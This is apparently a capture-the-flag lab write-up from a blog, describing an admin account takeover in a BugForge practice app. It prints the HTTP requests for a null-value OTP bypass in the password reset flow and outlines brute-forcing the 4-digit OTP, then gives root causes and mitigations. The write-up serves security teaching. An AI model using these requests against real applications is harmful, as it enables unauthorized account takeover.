OTP Bypass & Brute Force – Admin Account Takeover via Password Reset | Cheesy Does it

Overview

Password reset mechanisms are a high-value target in web applications. If implemented incorrectly, they can allow attackers to bypass authentication entirely.

In this lab, the OTP verification system suffered from two critical weaknesses:

1. OTP validation could be bypassed using a null value
2. OTP was weak and brute-forceable due to poor protections

Together, these issues enabled a full admin account takeover.

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Objective

Exploit weaknesses in the password reset functionality to gain unauthorized access to the admin account.

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Reconnaissance

The application exposed two primary entry points:

• User Registration
• Forgot Password

After registering a new account, it was observed:

• No option to change password after login
• Password reset was only accessible via Forgot Password

This made the password reset flow the main attack surface.

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Exploitation

Step 1: Initiating Password Reset for Admin

Intercepted the forgot password request and modified the username to admin.

POST /api/forgot-password HTTP/2
Host: lab-1778007588047-xgfewn.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin"}

The application proceeded to OTP verification.

Step 2: Intercepting OTP Verification

A dummy OTP was submitted and intercepted:

POST /api/verify-otp HTTP/2
Host: lab-1778007588047-xgfewn.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","otp":"1234"}

Observations:

• OTP is only 4 digits
• No visible rate limiting
• No account lockout
• No OTP expiration enforcement

This opened two attack paths:

• Logic bypass
• Brute force

Primary Exploit: OTP Bypass via Null Injection

Instead of guessing the OTP, the value was modified to null:

POST /api/verify-otp HTTP/2
Host: lab-1778007588047-xgfewn.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","otp":null}

Result:

• OTP verification was completely bypassed
• Application allowed password reset without validation

Step 3: Resetting Admin Password

After bypassing OTP verification, a new password was set successfully.

Step 4: Logging in as Admin

POST /api/login HTTP/2
Host: lab-1778007588047-xgfewn.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","password":"1234"}

Response:

{
  "token": "JWT_TOKEN",
  "user": {
    "id": 1,
    "username": "admin",
    "role": "admin"
  }
}

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Alternative Exploit: OTP Brute Force

Even if the bypass did not exist, the OTP system itself is insecure.

Weaknesses:

• Only 10,000 combinations (0000–9999)
• No rate limiting
• No lockout mechanism
• No request throttling

Brute Force Approach:

POST /api/verify-otp HTTP/2
Content-Type: application/json

{"username":"admin","otp":"0000"}

Then iterate:

0000 → 0001 → 0002 → ... → 9999

Using:

• Burp Intruder
• Caido
• Python automation

Practical Feasibility:

• Can be completed in seconds with parallel requests
• Even slower attacks succeed within minutes

This makes the system vulnerable even without the logic flaw.

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Proof of Exploitation

• Bypassed OTP verification using null
• Reset admin password
• Logged in as admin
• Retrieved sensitive user data including flags

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Impact

This vulnerability results in complete authentication bypass and account takeover.

Risks:

• Unauthorized admin access
• Exposure of sensitive data
• Privilege escalation
• Full system compromise

This is a critical severity issue.

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Root Cause Analysis

The vulnerability exists due to multiple failures:

1. Improper Input Validation

• Backend accepts null as valid OTP
• No strict type checking

2. Weak OTP Design

• Short length (4 digits)
• Predictable format

3. Missing Security Controls

• No rate limiting
• No lockout mechanism
• No OTP expiration validation

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Mitigation

To secure the password reset flow:

Input Validation

• Reject null, empty, or malformed OTP values
• Enforce strict type and format checks

OTP Security

• Use at least 6-digit OTPs
• Ensure randomness using secure generators
• Set short expiration times

Brute Force Protection

• Implement rate limiting
• Add account lockouts after failed attempts
• Introduce delays between attempts

Binding & Verification

• Bind OTP to user session and request context
• Invalidate OTP after use

Monitoring

• Log suspicious behavior
• Alert on repeated failed attempts

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Real-World Insight

OTP-related vulnerabilities are frequently exploited in real applications.

Attackers often combine:

• Logic flaws (like null bypass)
• Weak OTP mechanisms

This lab demonstrates how multiple small weaknesses combine into a critical vulnerability.

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Conclusion

This was not just a single bug, but a compound vulnerability:

• OTP bypass enabled instant compromise
• Weak OTP design allowed brute-force attacks

Even if one issue were fixed, the system would still remain vulnerable.

This highlights an important lesson:

Security must be layered. Fixing one flaw is not enough if the entire design is weak.